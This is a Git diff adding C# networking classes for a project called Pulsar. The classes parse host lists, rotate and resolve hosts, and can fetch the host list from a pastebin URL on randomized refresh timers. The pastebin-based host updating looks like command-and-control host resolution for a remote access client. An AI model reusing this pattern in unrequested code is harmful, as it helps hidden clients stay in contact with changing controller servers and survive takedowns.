initial commit
This commit is contained in:
Vendored
BIN
Binary file not shown.
@@ -0,0 +1,33 @@
|
||||
using System.Net;
|
||||
|
||||
namespace Pulsar.Common.DNS
|
||||
{
|
||||
public class Host
|
||||
{
|
||||
/// <summary>
|
||||
/// Stores the hostname of the Host.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Can be an IPv4, IPv6 address or hostname.
|
||||
/// </remarks>
|
||||
public string Hostname { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// Stores the IP address of host.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Can be an IPv4 or IPv6 address.
|
||||
/// </remarks>
|
||||
public IPAddress IpAddress { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// Stores the port of the Host.
|
||||
/// </summary>
|
||||
public ushort Port { get; set; }
|
||||
|
||||
public override string ToString()
|
||||
{
|
||||
return Hostname + ":" + Port;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,66 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
|
||||
namespace Pulsar.Common.DNS
|
||||
{
|
||||
public class HostsConverter
|
||||
{
|
||||
|
||||
public List<Host> RawHostsToList(string rawHosts, bool server = false)
|
||||
{
|
||||
List<Host> hostsList = new List<Host>();
|
||||
|
||||
if (string.IsNullOrEmpty(rawHosts)) return hostsList;
|
||||
|
||||
if ((rawHosts.StartsWith("http://", StringComparison.OrdinalIgnoreCase) ||
|
||||
rawHosts.StartsWith("https://", StringComparison.OrdinalIgnoreCase)) &&
|
||||
!rawHosts.Contains(";"))
|
||||
{
|
||||
hostsList.Add(new Host { Hostname = rawHosts });
|
||||
return hostsList;
|
||||
}
|
||||
|
||||
var hosts = rawHosts.Split(';');
|
||||
|
||||
foreach (var host in hosts)
|
||||
{
|
||||
if (string.IsNullOrEmpty(host)) continue;
|
||||
|
||||
if (Uri.TryCreate(host, UriKind.Absolute, out Uri uri) &&
|
||||
(uri.Scheme == Uri.UriSchemeHttp || uri.Scheme == Uri.UriSchemeHttps))
|
||||
{
|
||||
hostsList.Add(new Host { Hostname = host });
|
||||
}
|
||||
else if (host.Contains(':'))
|
||||
{
|
||||
if (ushort.TryParse(host.Split(':').Last(), out ushort port))
|
||||
{
|
||||
hostsList.Add(new Host
|
||||
{
|
||||
Hostname = host.Substring(0, host.LastIndexOf(':')),
|
||||
Port = port
|
||||
});
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
hostsList.Add(new Host { Hostname = host });
|
||||
}
|
||||
}
|
||||
|
||||
return hostsList;
|
||||
}
|
||||
|
||||
public string ListToRawHosts(IList<Host> hosts)
|
||||
{
|
||||
StringBuilder rawHosts = new StringBuilder();
|
||||
|
||||
foreach (var host in hosts)
|
||||
rawHosts.Append(host + ";");
|
||||
|
||||
return rawHosts.ToString();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,282 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Net;
|
||||
using System.Net.Sockets;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
|
||||
namespace Pulsar.Common.DNS
|
||||
{
|
||||
public class HostsManager
|
||||
{
|
||||
public bool IsEmpty => _hosts.Count == 0;
|
||||
|
||||
private readonly Queue<Host> _hosts = new Queue<Host>();
|
||||
private Host _lastResolvedHost;
|
||||
private readonly PastebinFetcher _pastebinFetcher;
|
||||
private readonly HostsConverter _hostsConverter = new HostsConverter();
|
||||
private readonly bool _isPastebinMode;
|
||||
private DateTime _lastSuccessfulConnection = DateTime.MinValue;
|
||||
private DateTime _lastPastebinCheck = DateTime.MinValue;
|
||||
//private readonly TimeSpan _connectionFailureThreshold = TimeSpan.FromHours(1);
|
||||
//private readonly TimeSpan _pastebinCheckInterval = TimeSpan.FromHours(1);
|
||||
private readonly TimeSpan _connectionFailureThreshold = TimeSpan.FromMinutes(30);
|
||||
private readonly TimeSpan _pastebinCheckInterval = TimeSpan.FromHours(1);
|
||||
private bool _pastebinReachable = true;
|
||||
private DateTime _lastPastebinFailure = DateTime.MinValue;
|
||||
private readonly TimeSpan _scheduledRefreshWindowMin = TimeSpan.FromHours(2);
|
||||
private readonly TimeSpan _scheduledRefreshWindowMax = TimeSpan.FromHours(3);
|
||||
private readonly Random _refreshRandom = new Random(unchecked(Environment.TickCount * 397 ^ Guid.NewGuid().GetHashCode()));
|
||||
private readonly object _refreshRandomLock = new object();
|
||||
private DateTime _nextScheduledPastebinRefresh = DateTime.MinValue;
|
||||
private string _lastPastebinContentHash;
|
||||
|
||||
public HostsManager(List<Host> hosts)
|
||||
{
|
||||
foreach (var host in hosts)
|
||||
_hosts.Enqueue(host);
|
||||
|
||||
_isPastebinMode = false;
|
||||
_lastSuccessfulConnection = DateTime.Now;
|
||||
}
|
||||
|
||||
public HostsManager(string pastebinUrl)
|
||||
{
|
||||
_isPastebinMode = true;
|
||||
_pastebinFetcher = new PastebinFetcher(pastebinUrl);
|
||||
_lastSuccessfulConnection = DateTime.Now;
|
||||
|
||||
RefreshHostsFromPastebin(forceRefresh: true);
|
||||
ScheduleNextPastebinRefresh();
|
||||
}
|
||||
|
||||
private bool RefreshHostsFromPastebin(bool forceRefresh = false)
|
||||
{
|
||||
if (!_isPastebinMode || _pastebinFetcher == null)
|
||||
return false;
|
||||
|
||||
try
|
||||
{
|
||||
string content = _pastebinFetcher.FetchContent(forceRefresh);
|
||||
_lastPastebinCheck = DateTime.Now;
|
||||
|
||||
if (string.IsNullOrWhiteSpace(content))
|
||||
{
|
||||
_pastebinReachable = false;
|
||||
_lastPastebinFailure = DateTime.Now;
|
||||
Debug.WriteLine("Failed to get content from pastebin (empty response)");
|
||||
return false;
|
||||
}
|
||||
|
||||
var hosts = _hostsConverter.RawHostsToList(content);
|
||||
string newHash = ComputeContentHash(content);
|
||||
bool hasChanged = _lastPastebinContentHash == null || !_lastPastebinContentHash.Equals(newHash, StringComparison.Ordinal);
|
||||
|
||||
if (hasChanged || _hosts.Count == 0)
|
||||
{
|
||||
_hosts.Clear();
|
||||
foreach (var host in hosts)
|
||||
_hosts.Enqueue(host);
|
||||
|
||||
_lastResolvedHost = null;
|
||||
_lastPastebinContentHash = newHash;
|
||||
Debug.WriteLine($"Successfully refreshed {hosts.Count} hosts from pastebin. Connection failure duration: {DateTime.Now - _lastSuccessfulConnection}");
|
||||
}
|
||||
else
|
||||
{
|
||||
Debug.WriteLine("Pastebin content unchanged; keeping existing hosts.");
|
||||
}
|
||||
|
||||
_pastebinReachable = true;
|
||||
return hasChanged;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_pastebinReachable = false;
|
||||
_lastPastebinFailure = DateTime.Now;
|
||||
Debug.WriteLine($"Failed to refresh hosts from pastebin: {ex.Message}");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public Host GetNextHost()
|
||||
{
|
||||
if (_isPastebinMode)
|
||||
{
|
||||
if (_nextScheduledPastebinRefresh == DateTime.MinValue)
|
||||
{
|
||||
ScheduleNextPastebinRefresh();
|
||||
}
|
||||
|
||||
if (DateTime.Now >= _nextScheduledPastebinRefresh)
|
||||
{
|
||||
Debug.WriteLine("Scheduled pastebin refresh triggered.");
|
||||
RefreshHostsFromPastebin(forceRefresh: true);
|
||||
ScheduleNextPastebinRefresh();
|
||||
}
|
||||
|
||||
bool shouldRefreshFromPastebin = false;
|
||||
bool forceRefresh = false;
|
||||
|
||||
if (_hosts.Count == 0 && DateTime.Now - _lastPastebinCheck >= TimeSpan.FromMinutes(1))
|
||||
{
|
||||
Debug.WriteLine("No hosts available, refreshing from pastebin.");
|
||||
shouldRefreshFromPastebin = true;
|
||||
forceRefresh = true;
|
||||
}
|
||||
else if (_hosts.Count > 0 && DateTime.Now - _lastSuccessfulConnection > _connectionFailureThreshold)
|
||||
{
|
||||
Debug.WriteLine($"No successful connection for over {_connectionFailureThreshold.TotalMinutes} minutes, checking pastebin for updates.");
|
||||
if (DateTime.Now - _lastPastebinCheck >= _pastebinCheckInterval)
|
||||
{
|
||||
Debug.WriteLine($"Checking pastebin for updates after {_pastebinCheckInterval.TotalMinutes} minutes.");
|
||||
shouldRefreshFromPastebin = true;
|
||||
}
|
||||
}
|
||||
else if (_hosts.Count > 0 && DateTime.Now - _lastSuccessfulConnection <= _connectionFailureThreshold && _pastebinFetcher.ShouldRefresh)
|
||||
{
|
||||
Debug.WriteLine("Frequent refresh from pastebin due to high request count or error.");
|
||||
shouldRefreshFromPastebin = true;
|
||||
}
|
||||
|
||||
if (shouldRefreshFromPastebin)
|
||||
{
|
||||
Debug.WriteLine("Refreshing hosts from pastebin due to conditions met.");
|
||||
RefreshHostsFromPastebin(forceRefresh);
|
||||
ScheduleNextPastebinRefresh();
|
||||
}
|
||||
|
||||
if (_hosts.Count == 0)
|
||||
return null;
|
||||
}
|
||||
|
||||
var temp = _hosts.Dequeue();
|
||||
_hosts.Enqueue(temp);
|
||||
temp.IpAddress = ResolveHostname(temp);
|
||||
if (temp.IpAddress == null && _lastResolvedHost != null)
|
||||
{
|
||||
temp = _lastResolvedHost;
|
||||
}
|
||||
else
|
||||
{
|
||||
_lastResolvedHost = temp;
|
||||
}
|
||||
|
||||
return temp;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Notifies the hosts manager that a successful connection was established.
|
||||
/// This resets the connection failure tracking.
|
||||
/// </summary>
|
||||
public void NotifySuccessfulConnection()
|
||||
{
|
||||
_lastSuccessfulConnection = DateTime.Now;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets whether pastebin is currently reachable and how long to wait before next attempt.
|
||||
/// </summary>
|
||||
/// <returns>A tuple indicating if pastebin is reachable and suggested wait time in milliseconds.</returns>
|
||||
public (bool IsReachable, int SuggestedWaitTimeMs) GetPastebinStatus()
|
||||
{
|
||||
if (!_isPastebinMode)
|
||||
return (true, 0);
|
||||
|
||||
if (_pastebinReachable)
|
||||
{
|
||||
return (true, 0);
|
||||
}
|
||||
|
||||
var timeSinceFailure = DateTime.Now - _lastPastebinFailure;
|
||||
if (timeSinceFailure < TimeSpan.FromMinutes(5))
|
||||
{
|
||||
return (false, 300000);
|
||||
}
|
||||
else if (timeSinceFailure < TimeSpan.FromMinutes(15))
|
||||
{
|
||||
return (false, 600000);
|
||||
}
|
||||
else
|
||||
{
|
||||
return (false, 1800000);
|
||||
}
|
||||
}
|
||||
|
||||
private void ScheduleNextPastebinRefresh()
|
||||
{
|
||||
if (!_isPastebinMode)
|
||||
{
|
||||
_nextScheduledPastebinRefresh = DateTime.MaxValue;
|
||||
return;
|
||||
}
|
||||
|
||||
TimeSpan interval = GetRandomRefreshInterval();
|
||||
_nextScheduledPastebinRefresh = DateTime.Now.Add(interval);
|
||||
Debug.WriteLine($"Next pastebin refresh scheduled in {interval.TotalMinutes:F1} minutes (target {_nextScheduledPastebinRefresh}).");
|
||||
}
|
||||
|
||||
private TimeSpan GetRandomRefreshInterval()
|
||||
{
|
||||
double minMs = _scheduledRefreshWindowMin.TotalMilliseconds;
|
||||
double maxMs = _scheduledRefreshWindowMax.TotalMilliseconds;
|
||||
|
||||
if (maxMs <= minMs)
|
||||
{
|
||||
return TimeSpan.FromMilliseconds(minMs);
|
||||
}
|
||||
|
||||
lock (_refreshRandomLock)
|
||||
{
|
||||
double offset = _refreshRandom.NextDouble() * (maxMs - minMs);
|
||||
return TimeSpan.FromMilliseconds(minMs + offset);
|
||||
}
|
||||
}
|
||||
|
||||
private static string ComputeContentHash(string content)
|
||||
{
|
||||
using (var sha256 = SHA256.Create())
|
||||
{
|
||||
byte[] bytes = sha256.ComputeHash(Encoding.UTF8.GetBytes(content));
|
||||
return BitConverter.ToString(bytes).Replace("-", string.Empty);
|
||||
}
|
||||
}
|
||||
|
||||
private static IPAddress ResolveHostname(Host host)
|
||||
{
|
||||
if (string.IsNullOrEmpty(host.Hostname)) return null;
|
||||
|
||||
if (IPAddress.TryParse(host.Hostname, out IPAddress ip))
|
||||
{
|
||||
if (ip.AddressFamily == AddressFamily.InterNetworkV6 && !Socket.OSSupportsIPv6)
|
||||
return null;
|
||||
|
||||
return ip;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
var ipAddresses = Dns.GetHostEntry(host.Hostname).AddressList;
|
||||
foreach (IPAddress ipAddress in ipAddresses)
|
||||
{
|
||||
switch (ipAddress.AddressFamily)
|
||||
{
|
||||
case AddressFamily.InterNetwork:
|
||||
return ipAddress;
|
||||
case AddressFamily.InterNetworkV6:
|
||||
if (ipAddresses.Length == 1)
|
||||
return ipAddress;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
using System;
|
||||
using System.Net;
|
||||
|
||||
namespace Pulsar.Common.DNS
|
||||
{
|
||||
/// <summary>
|
||||
/// WebClient with timeout capability
|
||||
/// </summary>
|
||||
internal class TimeoutWebClient : WebClient
|
||||
{
|
||||
private readonly int _timeout;
|
||||
|
||||
public TimeoutWebClient(int timeout)
|
||||
{
|
||||
_timeout = timeout;
|
||||
this.Proxy = null;
|
||||
}
|
||||
|
||||
protected override WebRequest GetWebRequest(Uri address)
|
||||
{
|
||||
WebRequest request = base.GetWebRequest(address);
|
||||
|
||||
if (request != null)
|
||||
{
|
||||
request.Timeout = _timeout;
|
||||
}
|
||||
|
||||
return request;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Extension methods for WebClient
|
||||
/// </summary>
|
||||
internal static class WebClientExtensions
|
||||
{
|
||||
/// <summary>
|
||||
/// Creates a WebClient with the specified timeout in milliseconds
|
||||
/// </summary>
|
||||
public static WebClient WithTimeout(int timeout)
|
||||
{
|
||||
return new TimeoutWebClient(timeout);
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user